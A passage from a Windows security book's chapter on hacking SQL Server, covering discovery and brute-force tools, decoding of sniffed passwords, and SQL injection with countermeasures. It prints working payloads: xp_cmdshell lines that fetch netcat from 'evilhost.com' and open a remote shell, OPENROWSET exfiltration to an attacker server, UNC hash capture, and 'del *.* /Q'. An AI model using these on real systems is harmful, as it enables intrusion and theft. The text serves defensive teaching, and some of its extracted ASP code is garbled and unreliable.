Server installation if it falls \ninto the wrong hands. The obvious defense against this tool is to block UDP 1434 inbound \nto your SQL servers or to disable the SQL Browser Service (which has been possible since \nSQL Server 2005).\nSQLRecon\nSQLPing was an excellent tool for finding SQL Server 2000 installations, but it worked \nonly in certain environments. What if a firewall was blocking UDP 1434? What if SQL \nServer 2005 was installed and the SQL Browser Service was disabled? What if the \nMSSQLServer service was set for manual startup and not running at the time of my \nscan? All of these scenarios resulted in false negatives. Since other means of detection \nwere available, Chip Andrews decided to combine all of those methods into a tool called \nSQLRecon (Figure 9-2).\nSQLRecon can detect SQL Servers under a variety of conditions and states. For \nexample, if you didn’t care about alerting the hosts of an active scan, the following \ndetection methods are available:\n• SQL Server Resolution/Browser Service (UDP 1434 like SQLPing)\n• Windows Registry\n• Windows Management Instrumentation (WMI)\n• TCP Scan\n• Service Control Manager\n• Forced login attempt (in case of non-TCP/IP protocol)\nIn addition, if your scan needed to be a bit more discrete, you have a choice of two \n“stealth” options that do not directly contact the target hosts:\n• Browser Service\n• Active Directory\nSQLRecon requires the .NET Framework for execution on the host. It is not required \nto be installed on any target machines.\n" }, { "page_number": 314, "text": "286 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Server Hacking Tools and Techniques\nOnce SQL Server has been found on a network, hackers can use common tools and \ntechniques to bring it to its knees, security-wise. This discussion is divided into two \nparts, the first covering basic SQL querying utilities and the second covering serious SQL \nhacking tools. It ends with a section on sniffing SQL Server passwords off the network.\nBasic SQL Query Utilities\nSeveral tools either ship with the official SQL Server utility suite or are available via free, \ndownloadable versions with most of the same functionality. They are designed to perform \nstraightforward queries and commands against SQL, but like most legitimate software, \nthey can be used to great effect by attackers. Over the years Microsoft has often changed \nthe names of the various tools that come with SQL Server, leading to a great deal of \nconfusion. To make this text more readable, we are using only the latest names for these \ntools, but this table should allow you to correlate the tool names based on the SQL Server \nversion you are using.\nFigure 9-2 SQLRecon uses multiple methods to fi nd SQL servers on a network.\n" }, { "page_number": 315, "text": "Chapter 9: Hacking SQL Server \n287\nSQL Server 2005\nSQL Server 7/2000\nDescription\nManagement Studio\nEnterprise Manager and \nQuery Analyzer\nPrimary management and \ndevelopment tool for SQL \nServer\nsqlcmd\nosql/isql\nCommand-line interface for \nrunning SQL queries\nConfi guration \nManager\nClient Network Utility and \nServer Network Utility\nTool for confi guring client \nand server network libraries\nDatabase Engine \nTuning Advisor\nUsed to be part of Query \nAnalyzer\nTool for automated \nperformance analytics\nSQL Server Express \nEdition (SSEE)\nMicrosoft Data Engine \n(MSDE)\nFree version of the SQL \nServer database engine \nlimited to 2GB per database\nSQL Server Management Studio Released with SQL Server 2005, the latest GUI client tool for \nSQL Server is the SQL Server Management Studio. This tool is the successor to the Query \nAnalyzer and Enterprise Manager tools that existed in previous SQL Server versions.\nUsage of this tool is self-explanatory, but it is worth mentioning in that a freely \navailable version of this tool is likely to make it quite ubiquitous. The Express Edition of \nthe SQL Server Management Studio (Figure 9-3) can be downloaded directly from \nMicrosoft. It can manage a database engine from any edition of SQL Server 2005 but does \nnot work on Analysis Services, Integration Services, Notification Services, Reporting \nServices, SQL Server Agent, or SQL Server 2005 Mobile Edition.\nsqlcmd\nLife would be too easy if everything were accomplished with graphical point-\nand-click tools, so we thought we’d mention that, yes, the official Microsoft SQL client \nutility suite comes with a command-line tool called sqlcmd.exe. Sqlcmd is freely \ndownloadable from Microsoft and is located in the SQL Server 2005 Feature Pack. It does \nrequire Microsoft SQL Server Native Client be installed, but, as luck would have it, that \nis also included in the Feature Pack.\nSqlcmd allows you to send T-SQL statements, stored procedures, and script files to a \ntarget server. Thus, for all intents and purposes, it acts much like a command-line version \nof Management Studio that is highly scriptable. Type sqlcmd -? at a command prompt \nfor a syntax reference.\nPrior to SQL Server 2005, the command-line tool for SQL Server was called osql.exe and was included \nin all editions of SQL Server.\nAdvanced SQL Hacking Tools\nWhat tools and techniques might an attacker use to gain access to your servers? We can \nalmost guarantee it’s not going to be one of the aforementioned unless the attacker is a \nmasochist or extremely new to the game. Experienced attackers soon find ways to \nautomate their exploits to identify low-hanging fruit and get out of the orchard quickly.\n" }, { "page_number": 316, "text": "288 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWhile not as prolific as the myriad of choices that exists for hacking Windows Server \nor IIS, some tools are designed specifically for going after SQL Server. Most of these tools \nare small enough to make excellent additions to the attacker’s (or security professional’s) \ntoolkit when attacking hapless unpatched IIS servers. Since many IIS servers act as \nmiddleware between the client and the (hopefully) firewalled SQL server, a compromised \nIIS server is the perfect launching pad for an attack on the mother of all web conquests—\ndata. Let’s take a look at some of the tools of the trade in SQL Server hacking.\nSQLPing 3 SQLPing 3 combines the scanning techniques found in SQLRecon with a brute-\nforce SQL Server password-breaking utility. This is a good bet for auditing entire subnets \nof SQL Server passwords in your organization since it supports IP ranges and IP lists.\nSQLPing 3 illustrates, in Figure 9-4, that most anyone can now attack exposed SQL \nservers without the slightest knowledge of netlibs, connection strings, or special client \nsoftware. SQL hacking is now a point-and-click operation, and if even one server in your \norganization is exposed, a breach occurring in your organization is a matter of when and \nFigure 9-3 SQL Server Management Studio Express is freely available and ubiquitous.\n" }, { "page_number": 317, "text": "Chapter 9: Hacking SQL Server \n289\nnot if. SQLPing 3 was designed for security professionals for the purpose of self-\nauditing—not as a hacking tool—although it certainly could be used as such.\nsqlbf\nThis SQL Server password brute-forcing tool by xaphan uses wordlists, password \nlists, and IP address lists to help the efficient SQL hacker spend time on more interesting \npursuits while your servers are brought to their knees. Sqlbf also gives the hacker the \noption of using a named pipes connection for its attack, but it should be noted that this \nwill initiate a Windows NetBIOS connection and will be subject to logging as well as \nstandard SQL Server logging (if it is enabled). Sqlbf can be used as follows:\nC:\\>sqlbf\nUsage: sqlbf [ODBC NetLib] [IP List] [User list] [Password List]\nODBC NetLib : T - TCP/IP, P - Named Pipes (netBIOS)\nIP list - text file containing list of IPs to audit\nUser list - text file containing list of Usernames\nPassword List - text file containing list of passwords\nThis tool is not only useful for breaking the sa account password, but it can ferret out \nother accounts that might contain system administrator privileges and may be somewhat \nless protected. We keep a long user list that contains not only sa but also usernames such \nas test, admin, dev, sqlagent, and other common names that may have appeared during \nsome phase of development and were then forgotten.\nFigure 9-4 SQLPing 3 allows you to scan for SQL servers and perform brute-force attacks.\n" }, { "page_number": 318, "text": "290 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSome of the more popular account names for a SQL server include these:\n• sa\n• sql_user\n• sqluser\n• sql\n• sql-user\n• user\n• sql_account\nUse your imagination from this point on. Don’t forget to try company name variations as \nwell as application names if you’re privy to that information. Note that this tool does not \nwork with multiple instances, since it asks only for IP address and not server name or \nTCP port.\nsqlpoke\nFor the aspiring SQL Server hacker who prefers the shotgun approach, there is \nsqlpoke, also by xaphan. This tool makes no attempt to break sa account passwords but \ninstead looks for SQL servers where the password is blank. When a SQL server is found \nwith a blank sa account password (a frighteningly common occurrence for a variety of \nreasons), it executes a predefined script of up to 32 commands. This allows a potential \nattacker to premeditate the intrusion to include possibly TFTP-ing a toolkit and executing \na Trojan or whatever is desired in bulk fashion.\nNote that sqlpoke also gives the user the ability to select a custom port. In addition, \nthe tool is limited to scanning a Class B IP-network range at the largest. This tool should \nstrike fear into the hearts of those who continually use blank sa account passwords so \nthat lazy developers need not be bothered with asking. We can imagine hundreds of \ncompromised servers resulting from running the following example:\nSqlpoke 10.0.0.0 10.0.254.254 1433 (script to alert hacker and install Trojans)\nSleep tight!\nCustom Web Pages Sometimes attackers would prefer not to scan directly from their \npersonal machines, but instead make patsies out of previously compromised hosts to do \ntheir dirty work. One method for doing this is to design a custom Active Server Pages \n(ASP) page on a sufficiently compromised host or a free-hosting service to perform their \nhacking. The beauty of this approach is that the attacker can perform penetrations of \nother systems while making the ASP-hosting system look like the guilty party.\nAll an attacker needs to do to perpetrate this attack is build a custom ASP page that \ninvokes Microsoft’s ActiveX data objects. Using ADO, the attacker can specify the type of \ndriver to use, username, password, and even the type of netlib required to reach the target. \nUnless the ISP is performing some level of egress filtering, the server on which the ASP \npage is running should initiate the desired connection and provide feedback to the \nattacker. Once a compromised host is found, the attacker is free to issue commands to \nthe victim through the unwitting accomplice host.\nTo demonstrate, Figure 9-5 shows a sample ASP SQL Server scan, which uses the \nfollowing source code to scan an internal network:\n" }, { "page_number": 319, "text": "Chapter 9: Hacking SQL Server \n291\n<% \\>\n\n\nSQL Server Audit Results\n\n\n

SQL Server Security Analysis

\n

Scanning.....

\n

Attempting sa account penetration

\n<% for i 1 to 254 \\>\n

Connecting To Host <%nextP%>....
\n<% <>Failed to connect<0x000A>\"\n Response.Write \"Reason: \" & err.description & \"

\"\n else\n Response.Write \"<>Connected!

\"\n Response.Write \"<>SQL Server version info:
\"\n sqlStr = \"SELECT @@version\"\n Set sqlObj = oConn.Execute(sqlStr)\n response.write sqlObj(0)\n end If\n next\n%>\\>\n

\n

** End of Analysis **

\n\n\nIt would be trivial to convert the preceding script to perform brute-force attacks or \npossibly even dictionary attacks by uploading your favorite dictionary file and then \nmaking use of the FileSystemObject (well documented in IIS documentation and samples) \nto strengthen your ASP-based SQL Server toolkit. Notice that in addition to the netlib, \nwe can specify parameters such as the TCP port, so it is possible to scan a machine for \ndifferent ports as well. To force other netlibs, you can replace the network= parameter \nwith one of the following network library values:\nShared Memory\nDbmsshrn\nMultiprotocol\nDbmsrpcn (retired in SQL 2005)\nNamed Pipes\nDbnmpntw\nTCP/IP Sockets\nDbmssocn\nNovell IPX/SPX\nDbmsspxn (retired in SQL 2005)\nBanyan VINES\nDbmsvinn (retired in SQL 2005)\nIt should also be noted that ASP is not a prerequisite for this kind of attack. This same \ntype of attack could be performed from an Apache server running PHP or a custom Perl \n" }, { "page_number": 320, "text": "292 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nscript, for that matter. The point is that the SQL client tools are lightweight and ubiquitous. \nNever assume an attacker’s only weapons are the tools that come bundled with SQL \nServer.\nThe potential SQL Server hacker has no shortage of tools and technologies to help \nhim complete his task. On top of all of this, keep in mind that SQL Server has weak \nlogging (slightly improved in SQL 2005 since we now have the remote IP address), and \neven if you do somehow notice a brute-force attack is occurring on your server, the SQL \nServer logs will provide little useful information. Make sure you take the time to test \nthese tools against your servers before the bad guys do.\nPacket Sniffi ng SQL Server Passwords\nMicrosoft has seen fit to include SSL support for all types of connectivity in its products, \nwith good reason. Without encryption, a user authenticating using native SQL Server \nlogins is transmitting her password in cleartext over the network. If you’ve ever used a \nFigure 9-5 A custom ASO page scans a network for SQL servers.\n" }, { "page_number": 321, "text": "Chapter 9: Hacking SQL Server \n293\npacket sniffer to monitor communications between a client and server, you may have \nbeen disappointed to see your password whizzing over the wire for all to see.\nAs you can see in Figure 9-6, an attempt was made to log in as user sa, but the \npassword seems to be somewhat scrambled after that. However, take a look at the \npattern. Every other byte in the sequence is an A5 (hex). You should be suspicious by \nnow that something less than encryption is happening here—and you’d be right. Rather \nthan keeping you in the dark, we’ll spill the beans and show that there is nothing going \non here but a simple XOR scheme to obfuscate the password.\nLet’s start by breaking down the password a byte (and bit) at a time. The first \nhexadecimal digit (A, for example) is equivalent to the 1010 in binary. To obtain the \npassword, we simply swap the first and second hex digit of each byte (this is due to \nUnicode encoding) and XOR the binary representation of the password with 5A (yes, \nthat’s A5 in reverse). The resulting computation will reveal the hex representation of the \nreal password, as Table 9-2 shows.\nFigure 9-6 Capture SQL Server authentication packets showing the XOR’d password\n" }, { "page_number": 322, "text": "294 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAs you can see in Table 9-2, once you know the technique, obfuscation is little more \nthan an annoyance. Keep in mind that this technique works on any netlib that transfers \ndata over the network as long as encryption is not enabled. Anyone sniffing passwords \nfrom an unencrypted transmission can trivially convert the password to plaintext and \nlog into your SQL server unhindered. If decoding the passwords manually is too much \nof a chore, a freely available tool called Cain & Abel can be used to sniff SQL Server \npasswords off the wire and will decode them for you.\nUsing the encrypted netlibs is absolutely essential if passwords and data will be \ntransferred over a network and are subject to eavesdropping. If you install a certificate \non the server, SQL Server will automatically encrypt passwords even if you are not using \nan encrypted netlib. If you are using SQL Server 2005, and you haven’t installed a \ncertificate, SQL Server will create a self-signed certificate for you, although that will not \nprovide server authentication or non-repudiation.\nSQL Server Packet Sniffi ng Countermeasures\nAs you might expect, the way to prevent sniffing is to encrypt the traffic between \nhosts. Some would suggest that switched networks might solve the issue, but with \nplenty of ways to subvert switched systems, encryption is still the only foolproof \nmethod for protecting your data in transit. Several possibilities for doing this are \nshown in Table 9-3.\nHex\nA2\nB3\n92\n92\nSwap digits\n2A\n3B\n29\n29\nBinary\n0010 1010\n0011 1011\n0010 1001\n0010 1001\n5A in binary\n0101 1010\n0101 1010\n0101 1010\n0101 1010\nXOR result\n0111 0000\n0110 0001\n0111 0011\n0111 0011\nHex\npassword\n70\n61\n73\n73\nPassword\np\na\ns\ns\nTable 9-2 Complete Conversion of Captured Credential to Plaintext\n" }, { "page_number": 323, "text": "Chapter 9: Hacking SQL Server \n295\nTransmission \nEncryption Technique\nPros\nCons\nImplement IPSec\n—Can protect all \ncommunications\nbetween hosts\n—Requires no changes \nto SQL Server\n—Complex setup for most \nSQL DBAs and developers\n—Requires administrative \nprivileges on hosts to \nestablish\nForce Protocol \nEncryption\n(SQL Server \n2000/2005 only)\n—Strong Crypto\n—Works over all netlibs\n—Complex setup for those \nwithout certifi cate setup \nexperience\n—On SQL 2005, without \na valid certifi cate you \nstill get encryption but \nno authentication or non-\nrepudiation\nTable 9-3 Options for Encrypting Data Between SQL Server Clients/Servers\nSource Disclosure from Web Servers\nA tragic reality of security is that vulnerabilities are sometimes like dominoes—\nfailures in one system can bring down otherwise potent defenses on entirely different \nsystems. In SQL Server application development, particularly for web-based \napplications, it is necessary to store a connection string so that the application will \nknow how to connect to the server. Unfortunately, this can be an albatross if the web \nserver reveals the connection string to an unauthorized user.\nOver the years, we have seen a number of source code disclosure vulnerabilities in \nIIS and other web servers. Many times, the disclosure comes from one of the \naforementioned bugs, and other times, the disclosure comes from poor security \npractices. An example of this is storing connection strings in include files with an \nextension such as .inc or .src. An unauthorized user can simply scour the site looking \nfor connect.inc or any number of variants, and when she finds the file, she’ll be rewarded \nwith the connection string the web server is using to connect to SQL Server. \n" }, { "page_number": 324, "text": "296 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Injection Attacks\nUntil this point, we have focused mostly on instances in which an attacker has direct \naccess to the SQL Server. However, with the ubiquity of the Windows Firewall, SQL \nServer 2005 not activating network libraries by default in Desktop editions, and security-\nconscious network administrators being more common, it seems that direct access is a \nluxury. SQL injection attacks are a different form of attack, in which an attacker gains \naccess to the SQL Server through indirect means such as a web-based application, a web \nservice, or even instant messaging or e-mail.\nSQL injection is best described as the ability to inject SQL commands that the \ndeveloper never intended into an existing application. One thing to remember while \nreading this section is that this type of attack is not limited to SQL Server. Virtually any \ndatabase that accepts SQL commands can be affected to one degree or another by these \ntechniques. It should also be noted that SQL injection is an application problem, not a \nproblem with the database server. Whether the injection occurs on an ASP page on a \nwebsite or in stored procedure in the SQL Server itself, most all SQL injection vulner-\nabilities are the result of poor input validation by the programmer.\nThe effects of a successful SQL injection attack can range anywhere from a disclosure \nof otherwise inaccessible data to a full compromise of the hosting server. An attacker \nreally needs to do only three things to perform a successful SQL injection attack:\n• Discover SQL injection vulnerability\n• Investigate and derive existing SQL\n• Construct SQL injection code\nSQL Injection Vulnerability Discovery\nA potential attacker will usually probe web-based applications or web services by inputting \nsingle quotes into text, numeric, and date fields and checking for error messages after \nposting. The reason this is dangerous is because the single quote is the string identifier/\nterminator character for SQL Server. Inserting an extra single quote will cause the execution \nIf the application is using native SQL Server logins, she’ll also see the username and \npassword. The obvious solution for this issue is to name all include files with the \n.asp or .aspx extension (for IIS servers) so that they are subject to server-side \nprocessing like all other files and also removing possible backup files (.bak or .old) \nthat may be generated by text editors.\nThe moral of this story is that you should assume someone will eventually see \nyour passwords. Do what you can to isolate the SQL server so that a source disclosure \ndoes not always result in a complete security breach. Also, you should consider \nusing Windows authentication for your SQL Server connections (despite the more \ncomplex setup in some cases), because that will mean not having to include usernames \nand passwords in connection strings.\n" }, { "page_number": 325, "text": "Chapter 9: Hacking SQL Server \n297\nstring to be improperly formed and generate an error such as “Unclosed quotation mark \nbefore the character string.” This is not always successful, as good developers tend to hide \ndatabase failures from end users, but more often than not, a user will be greeted with an \nugly ODBC or OLE DB error when the single quote has done its magic.\nThe three most common errors generated are\n• Unclosed quotation mark before the character string (from SQL Server)\n• Internal server error (from web server)\n• Syntax error (from SQL Server)\nPersistent attackers will probe numeric fields to determine whether they will accept \ntextual data as well. Invalid textual data that makes it back to the SQL server will likely \nset off an “Incorrect syntax near” or “Invalid column name” error message and alert the \nattacker that further exploitation may be possible. The danger of poorly validated \nnumeric fields lies in the fact that it is not necessary to manipulate single quotes to inject \nthe code. Poorly constructed SQL statements will simply append an attacker’s code \ndirectly into an otherwise legitimate SQL command and work its magic.\nTemporal Vulnerability Analysis If the application developer has done a good job of \nhandling exceptions, then it is quite likely that you will not get an error message of any \nstrange behavior whatsoever. In those cases, you can perform a “temporal analysis” to \ndetermine whether an injection was successful. Simply use the T-SQL WAITFOR DELAY\ncommand to tell SQL Server to pause for 10 seconds or so, and it should be immediately \nobvious when an injection is successful. For example, let’s say we have a web page that \nreturns a result in less than 1 second. If we then send it a request like this,\nhttp://localhost/portal-\nasp/EditMembers.asp?user_id=1%20waitfor%20delay%20'00:10:00'--\nsuddenly, the request takes more than 10 seconds to complete; it is likely that the \nadditional latency is due to our command reaching the SQL Server, which forced a delay \nof 10 seconds on our data access request. Of course, you can set the delay for longer time \nperiods (which may be needed for slow links), but keep in mind that you don’t want the \npage to time out; try to keep the request under 30 seconds, since that’s the time limit \nmany web servers place on individual page requests.\nBlind SQL Injection In addition to temporal analysis, a method called “blind SQL \ninjection” can be used for discovery and information disclosure. This method involves \nsending binary requests to the SQL Server to have it return true (the proper result) or \nfalse (another result) to a specific question. For example, what if we wanted to determine \nwhether the sql user account under which the application is running has dbo permissions? \nWe could issue a command like this:\nhttp://localhost/portal-asp/EditMembers.asp?user_id=1%20and%20user_name()='dbo'\nIf the user is a dbo, we should see the information for the user with a user_ID of 1(as we \nrequested). Otherwise, no data is returned. Using this type of true/false analysis, we can \n" }, { "page_number": 326, "text": "298 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ndetermine table names and eventually even enumerate data directly from the database. \nThis in accomplished by asking simple questions like “Is the first letter of the table name \nan a?” The analysis can be quite time consuming but is very effective.\nApplication Scanners As you can imagine, analyzing every field of every web page for \nSQL injection vulnerabilities is a gargantuan task. Luckily, commercial and freely \navailable tools are available to help with all this vulnerability testing—on the commercial \nside, try WebInspect by SPI Dynamics, Web Vulnerability Scanner by Acunetix, and \nAppScan by Watchfire, among others. Non-commercial solutions include Paros Proxy, \nAchilles, and WebScarab.\nOf the non-commercial side, Paros Proxy (Figure 9-7) provides the most automated \ncapabilities for vulnerability detection. All you need to do is load the application, \nconfigure your browser to point to the proxy server (Paros defaults to TCP port 8080 at \nlocalhost), and connect to the target website. Inside Paros, you can right-click the server \nand choose Spider to enumerate all the pages on the site. Finally, by selecting Scan, you \ncan have Paros automatically scan the entire site for a variety of vulnerabilities including \nSQL injection, Cross Site Scripting, and web server misconfigurations. Please keep in \nmind that none of these tools is a replacement for manual analysis since many \nvulnerabilities do not lend themselves to automated detection.\nFigure 9-7 Paros Proxy makes application security scanning almost as simple as a port scanner.\n" }, { "page_number": 327, "text": "Chapter 9: Hacking SQL Server \n299\nDetermine SQL Structure\nAfter an attacker has identified a potential target, his next step is to determine the \nstructure of the SQL command he is attempting to hijack. By investigating the error \nmessages or by simple trial and error, the attacker will attempt to determine the actual \nSQL code behind the page. For example, if a search form returned a product list containing \nproduct IDs, names, prices, and an image, the attacker could probably make a safe guess \nthat the SQL behind the page might be something like the following:\nSELECT productId, productName, productPrice, ProductURL, FROM sometable\nWHERE productName LIKE '%mySearchCriterion%'\nIn this case, the attacker is making assumptions based on returned datasets. In many \ncases, developers bring back many more fields from the database than are displayed or \nuse more complicated syntax. In these instances, more advanced SQL programming \nexperience is required, but diligence will eventually result in a fairly close approximation \nof the code behind the page. For example, if the attacker is having trouble getting some \ninjected code to execute, he could be up against a SQL string like the following:\nSELECT productId, productName, productPrice, ProductURL, FROM sometable\nWHERE (productName LIKE '%mySearchCriterion%'\nOR productPrice < 5)\nAND productSaleFlag=1\nThe attacker must be able to close the parentheses or his attack will result in a syntax \nerror from SQL Server. Of course, a common SQL Server injection strategy is to use the \ncomment operator (--) to comment out the rest of the SQL code. However, it will not \nwork in this case since the open parenthesis occurs before the injection. The only real \nsolution is to close the parentheses so that the SQL command will execute properly.\nThis is just a sample of the challenges that attackers face when trying to inject code \ninto complex SQL applications. Thankfully for the attackers, most SQL code is not nearly \nas complex, but in certain situations, a keen understanding of T-SQL programming is \nabsolutely critical in mounting a successful attack.\nBuild and Inject SQL Code\nWhen the attacker has an idea of what the SQL behind the page might be, he would \nprobably like to learn more about the login under which the application is running and \nperhaps the version information of the SQL server. One way to get this information from \nan existing application is to use the UNION keyword to append a second result set to the \none already being produced by the existing SQL code. The attacker injects the following \ncode into the search field:\nZz' UNION SELECT 1,(SELECT @@version),SUSER_SNAME(),1 --\nThis code first attempts to short-circuit the first result set by looking for two zs, and then \nUNION the empty result with the data in which the hacker is interested. Selecting the 1s\n" }, { "page_number": 328, "text": "300 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nis necessary to make sure the attacker matches the number of columns in the previous \nresult set. The most interesting feature of the injection code is the double dashes at the \nend. As stated previously, this is necessary to comment out the last single quote likely \nembedded in the application, to surround the data the attacker will input. If successful, \nhe now knows the SQL Server version and service pack status, the operating system \nversion and service pack status, as well as the login he is using to execute his \ncommands.\nLet’s say that in this case the login turned out to be sa (the system administrator \naccount). With system administrator privileges, the attacker is free to execute any \ncommand on the SQL server itself. The next snippets of injected code placed in the input \nfield might be something like the following (assuming xp_cmdshell is enabled on the \nSQL Server):\nZz' exec master..xp_cmdshell 'tftp –i evilhost.com GET netcat.exe'--\nAnd then this:\nZz' exec master..xp_cmdshell 'netcat –L-d-e cmd.exe –p 53'--\nAt this point, the attacker is using the TFTP client included with Windows to bring in \nthe useful netcat utility and obtain a remote shell—check and mate. There is little use in \ndiscussing this attack further, since the attacker is free to import and execute code on the \ntarget machine as well as access all data on the SQL server.\nAdvanced SQL Injection\nPopularity:\n10\nSimplicity:\n7\nImpact: \n9\nRisk Rating:\n9\nThe previous example assumes that an attacker gains access with a high-privilege \naccount on a SQL server with the xp_cmdshell extended stored procedure enabled. Since \nattackers are not always so lucky, they must also rely on more advanced techniques that \nleverage the capabilities of even low-privilege accounts. Once an attacker has determined \na viable means of attack, he is likely to pursue a variety of possible objectives, and we \nneed to be aware of these. An attacker will in all likelihood be after one of the \nfollowing:\n• Tamper with existing data in an attempt to damage the integrity of the assets\n• Steal data by returning information back to the web page\n• Steal data via blind SQL injection\n• Steal data via outbound data tunnel\nNext we’ll look at some tools and techniques that can be used in low-privilege \nsituations where attackers don’t always get total control with a single vulnerability.\n" }, { "page_number": 329, "text": "Chapter 9: Hacking SQL Server \n301\nAbsinthe\nTo fill the need for push-button SQL injection exploitation, a tool called \nAbsinthe (by nimmish and Xeron) was created (Figure 9-8). This tool does not search for \nSQL injection vulnerabilities but rather exploits a known vulnerability to extract \ninformation from the database. It does this by using one of two mechanisms: blind SQL \ninjection and SQL Server error messages.\nThe blind SQL injection method sends multiple requests to the application asking \nbinary, yes/no questions of the SQL Server by specially crafting injected SQL code. This \nmethod can take quite a long time, especially if a slow link exists between the attacker \nand the vulnerable web application. The primary advantage of this method is that it will \nwork even with error messages suppressed by the application.\nFigure 9-8 Absinthe can automate SQL injection and error-based data theft attacks.\n" }, { "page_number": 330, "text": "302 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThe SQL Server error messages method works by using specially crafted SQL code to \nforce data to be displayed back to the tool from an error message. This is usually achieved \nby taking some piece of text and attempting to convert it into an integer. SQL Server will \nusually report back with an error message like this:\nConversion failed when converting the varchar value 'test' to data type int\nBy repeatedly cycling through table names, field names, and data, the tool can derive the \ncontents of a victim’s entire database.\nNo matter which method you use, this tool will take a long time to extract data, \nwhich may expose the attacker to detection if the web server logs are closely monitored. \nHowever, the advantage is that the attacker does not need to set up any special \ninfrastructure on the remote side to extract data from the SQL Server. Since, at a minimum, \nmost web-based applications run with select access to many database tables, this tool can \nbe very effective at extracting a victim’s data right through the website.\nBobCat\nA more efficient, but complex, method of extracting data from a remote SQL \nServer is to use the OPENROWSET (still possible in SQL 2005 but disabled by default) to \npush data out to remote locations. The OPENROWSET functionality allows the SQL Server \nto connect to remote data sources within the context of a query. This is a very handy \nfunction that unfortunately can have dire consequences when in the wrong hands. \nConsider the following query:\ninsert into OPENROWSET('SQLOLEDB',\n'uid=sa;pwd=h#a$c^k&;Network=DBMSSOCN;Address=hackersip,1433;',\n'select * from remotecustomertable')\nselect * from customertable\nThis query selects data from the customer table and inserts it (over the network) to \nan attacker’s SQL Server. This method is much more efficient than trying to pull the data \none character or one field at a time, as does the Absinthe tool. However, the side effect is \nthat this requires the attacker to install and expose a SQL Server to the Internet or local \nnetwork. In addition, if the target SQL Server is prevented from establishing outbound \nconnections, this attack will fail.\nBobCat (Figure 9-9) is a tool that helps automate the process of assembling the proper \nSQL commands for this attack. Based on a tool called Data Thief, originally developed by \nCesar but since retired, BobCat was developed by northern-monkee as a .NET port of the \noriginal Data Thief tool.\nAs you can see, the tool requests the location of the attacker’s SQL Server and all of \nits connection information. If the target SQL Server allows outbound connections, this \ntool can easily download the entire contents of the database in short order.\nShould a victim notice the attack and inspect the requests, she would have access to \nthe attacker’s SQL Server for as long it remains connected to the Internet. Although the \ntool defaults to the sa account, an attacker could use a lower privilege account with DDL \npermissions to create tables and insert data.\n" }, { "page_number": 331, "text": "Chapter 9: Hacking SQL Server \n303\nStealing SQL Server Service Credentials with Minimal Privileges Do not assume that just because \nan attacker can only gain SQL user privileges that you are safe. Consider an application \nthat properly uses least privilege and allows the application to run as a normal user account \nand has been granted access only to a restricted set of tables and/or stored procedures. In \naddition to the obvious data theft possibilities, an attacker could also make use of system \nstored procedures that are available to the public role, such as xp_dirtree.\nThe extended stored procedure xp_dirtree has a seemingly harmless function: it \nsimply creates a directory tree of a location on any attached drives to which the SQL \nservice account has access. In addition to the obvious information disclosure threat (on \nSQL 2005, no data will be returned unless you are a sysadmin, but the server still tries to \nconnect making it vulnerable), it does something else that is interesting: it accepts a \nUniversal Naming Convention (UNC). A UNC allows you to specify other hosts. By \nusing a specially crafted UNC name, it is possible to make a request to a remote server \nusing a SQL injection vulnerability and force it to connect back to another system on the \nInternet (or local network).\nHere’s an example snippet of SQL injection code:\n' exec xp_dirtree '\\\\attackerIP\\someshare'--\nIf an attacker has a sniffer running on the wire (or he’s simply running a tool like \nCain and Able, which has the sniffer and the password cracker built-in) and the victim’s \nFigure 9-9 BobCat can quickly absorb data from a victim SQL server if it allows outbound \nconnections.\n" }, { "page_number": 332, "text": "304 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Server allows outbound connections, it is very possible that the attacker could \nintercept the authentication request of the SQL Server (trying to connect to the UNC) and \nsteal the hash.\n“What good is the password of the SQL Server service account?” you might ask. \nWell, when installing SQL Server, the user is encouraged to provide two critical \ncredentials:\n• The username and password for the SQL Server service account\n• The sa account password (even when using Windows Authentication)\nIf the installer is like most humans, the passwords will likely be the same. In addition, \nthe password may also be used for high-privilege accounts within the application, IIS, or \nthe operating system itself. Of course, if the SQL Server is running as LocalSystem, the \nattacker will have no credentials to steal—but then the SQL Server is running with \nexcessive privileges so an attacker may turn his attention toward exploiting that fact.\nSQL Injection Countermeasures\nVendor Bulletin:\nNA\nBugtraq ID:\nNA\nFixed in SP:\nNA\nLog Signature:\nY\nBrace yourself for some disappointing news. If your applications are susceptible to \nSQL injection, no hotfix, service pack, or quick fix is available to protect you (except if the \napplication has its own updates such as with commercial or open-source products). \nInstead, you must rely on such defenses as good architecture, development processes, \nand code review. Although some tools have begun to surface that claim to ferret out SQL \ninjection problems, none so far can match the power of good security-related quality \nassurance.\nOnly one technique will reliably help fight the injection issue at the application layer: \nparameterized queries. Parameterized queries clearly define which portions of the query \nare variable and which are static, thus eliminating string-building code that is highly \nsusceptible to attack. While not 100 percent effective in protecting against SQL injection \nat all layers, it is still your best defensive strategy.\nSQL injection can also manifest itself in stored procedures that use EXEC or sp_executeSQL \nstatements even when parameterized queries are used, since the injection occurs at a different layer \n(the database).\nTo see why this is the only reliable method, let’s look at some other methods that \nhave been proven to be helpful but do not offer complete protection:\n• String replacement\n• Stored procedures\n" }, { "page_number": 333, "text": "Chapter 9: Hacking SQL Server \n305\nReplacing a single quote with two single quotes tells the SQL server that the character \nbeing passed is a literal quote. (This is how someone with the last name O’Reilly can be \nplaced in your LastName field.) To do this in Active Server Pages, you can make use of \nthe replace command in VBScript like the following:\n<%< variable = left(replace(inputstring,',''),10)\n%>\nThis will apparently neuter the injection into the 10-character text field. However, this \ncan fail in some situations. For example, let’s consider if the input was 123456789'.\nWhen the replace function is executed, the single quote will be normalized to two \nsingle quotes, but when the text is truncated by the left statement, the vulnerability \nremanifests.\nUsing stored procedures can also seemingly help to stem the flow of SQL commands \nto the back end since the commands are precompiled. The most common failure of stored \nprocedures to protect applications is when stored procedures are implemented using \nstring-building techniques that defeat your protection. Examine the following code \nsnippet:\n<%\nHere you see that although the developer has used stored procedures, his implementation \nis poor because simply injecting code into the password field will easily allow the \ninjection to occur. If someone injects the following into the password field,\n' exec master..xp_cmdshell 'del *.* /Q' --\nthe SQL Server will see the following code:\nexec sp_LoginUser 